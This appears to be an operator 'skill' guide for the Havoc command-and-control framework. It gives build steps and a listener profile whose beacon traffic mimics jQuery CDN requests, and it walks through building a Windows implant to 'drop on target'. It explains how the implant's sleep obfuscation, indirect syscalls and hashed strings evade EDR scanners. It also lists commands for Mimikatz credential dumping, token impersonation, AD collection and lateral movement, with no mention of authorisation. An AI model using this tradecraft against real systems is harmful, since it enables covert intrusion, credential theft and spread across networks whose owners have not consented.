Havoc C2 Operator Skill

Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.

Setup

# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build

# Or run via Docker
docker compose up -d

Architecture

┌────────────┐       ┌─────────────┐       ┌──────────┐
   │ Operator   │ <───> │ Teamserver  │ <───> │ Demon    │
   │ (Client)   │  TS   │ (Go + gRPC) │  HTTP │ (Implant)│
   └────────────┘       └─────────────┘       └──────────┘

• Teamserver: Listens on operator port (40056 default) for clients; HTTP listener for demons.
• Client: Qt-based desktop UI (Material Dark).
• Demon: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls.

Configure a profile

Havoc uses a profiles.yaotl HCL-like config. Example for a low-OPSEC HTTP listener:

Teamserver {
  Host = "0.0.0.0"
  Port = 40056
  Build {
    Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
    Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
    Nasm = "/usr/bin/nasm"
  }
}

Operators {
  user "op-alice" { Password = "strongpassword" }
}

Listeners {
  Http {
    Name      = "primary-http"
    Hosts     = ["op-server.com"]
    HostBind  = "0.0.0.0"
    PortBind  = 443
    PortConn  = 443
    Secure    = true
    HostRotation = "round-robin"
    Uris      = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"]   # blend with CDN traffic
    Headers   = ["X-Forwarded-For: 1.2.3.4"]
    UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
  }
}

Then ./havoc server --profile profiles.yaotl -v.

Build a Demon

In the client UI:

1. Attack → Payload → Demon
2. Listener: select your HTTP listener
3. Arch: x64 / x86
4. Format: Windows Exe / Windows DLL / Shellcode
5. Sleep Technique: Ekko (queue user APC ROP chain) / Zilean (timer-based) / FOLIAGE (ROP-based)
6. Indirect Syscalls: Enable (resolves syscalls at runtime, bypasses static SSN hooks)
7. Save → drop on target

# CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now)

What makes Havoc's OPSEC strong

Sleep obfuscation (3 options)

• Ekko: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts.
• Zilean: timer-based variant.
• FOLIAGE: pure ROP chain, no Win32 timer dependency.

Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match.

Indirect syscalls

Most EDRs hook NtAllocateVirtualMemory etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics.

Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return.

No static strings

All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. strings demon.exe | grep -i shell returns nothing.

Module stomping

Demon module can be hidden by overwriting an existing legitimate module (mscorlib.dll, clr.dll).

Common commands

> shell whoami /all
> proc list
> proc kill <pid>
> token impersonate <pid>
> dotnet inline-execute <SharpHound.exe> -c All
> mimi !sekurlsa::logonpasswords          # built-in Mimikatz wrap
> spawnas <user> <pass> <listener>         # spawn new demon as different user
> jump <psexec64|wmi|smb_lateral> <host>   # lateral movement

Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike

When to pick Havoc

• Windows-only engagement, need modern OPSEC out-of-the-box
• Cobalt Strike's price/license unavailable
• Operator team comfortable with Qt UI vs web
• Need indirect syscalls + sleep obfuscation without writing BOFs

When NOT to pick:

• Need cross-platform implant (Sliver/Mythic Poseidon better)
• Need a polished commercial UI for client-deliverable screenshots (CS still wins)
• Need mature OPSEC profile library (CS Malleable profile ecosystem is bigger)

References

• Havoc Framework docs — havocframework.com
• C5pider's blog — c5pider.com (Ekko, Zilean writeups)
• "Modern C2 OPSEC" — Outflank training material
• Cobalt Strike Malleable profile guide (translates well to Havoc HTTP profile design)